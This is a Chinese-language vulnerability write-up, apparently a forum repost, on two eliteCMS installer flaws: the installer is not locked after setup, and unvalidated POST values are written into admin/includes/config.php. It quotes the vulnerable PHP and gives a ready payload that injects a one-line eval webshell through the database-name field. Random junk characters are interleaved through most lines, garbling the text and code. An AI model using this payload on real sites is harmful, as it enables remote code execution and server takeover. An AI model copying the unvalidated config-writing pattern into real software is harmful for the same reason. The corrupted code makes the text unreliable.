eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

, n0 q% m+ J6 x! S$ v" M( W4 D另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
( J. m, b5 R* u( K) _* ]我们来看代码：
0 D9 d) ^# S4 F' _4 E3 @3 @5 k
...
2 F& i/ {* d4 z0 B6 {elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
4 z/ A' K" B+ ?+ |+ G6 L' r1 [% g. [    $write .= "/**\n";
- Z* Y9 c8 a- ]7 |) O7 o3 K+ Q    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
" o& A/ z3 Q/ F' L( q    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
8 i4 L) z0 t6 J* D3 M; M    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
0 D$ z5 I8 @1 H- d    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
+ T& d+ t2 y, j- ]+ M1 T* X    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
2 A. |, Q- M; w- n! v    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
& E! B+ u+ j5 f) B2 O    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
+ n, o1 o* s9 \* D    $write .= "} \n";
* x7 l: I. `& Q2 [    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
6 x5 q( |% y2 q$ G6 N$ Q7 U6 c    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
2 s+ X) @3 M; A6 M4 O2 A; O    $write .= "?>\n";

    $writer = fopen($file, 'w');
% F. ^. W. _; j! G& T; ?$ u9 N...
* N# R! ]7 _3 Q4 V9 T( y
在看代码：
+ V" u) Z/ c8 r/ Y
% i( m' z; D$ V4 B$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
; u' v4 z0 P9 \! f$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
4 F% z2 Y  p9 L8 B5 j$ r1 ?: f1 K
取值未作任何验证
如果将数据库名POST数据：

1 t( J4 @& D/ z$ G  `"?><?php eval($_POST[c]);?><?php
$ F% u  E3 U: `
# p# T& Z% s; s  O" D3 d% c+ Q将导致一句话后门写入/admin/includes/config.php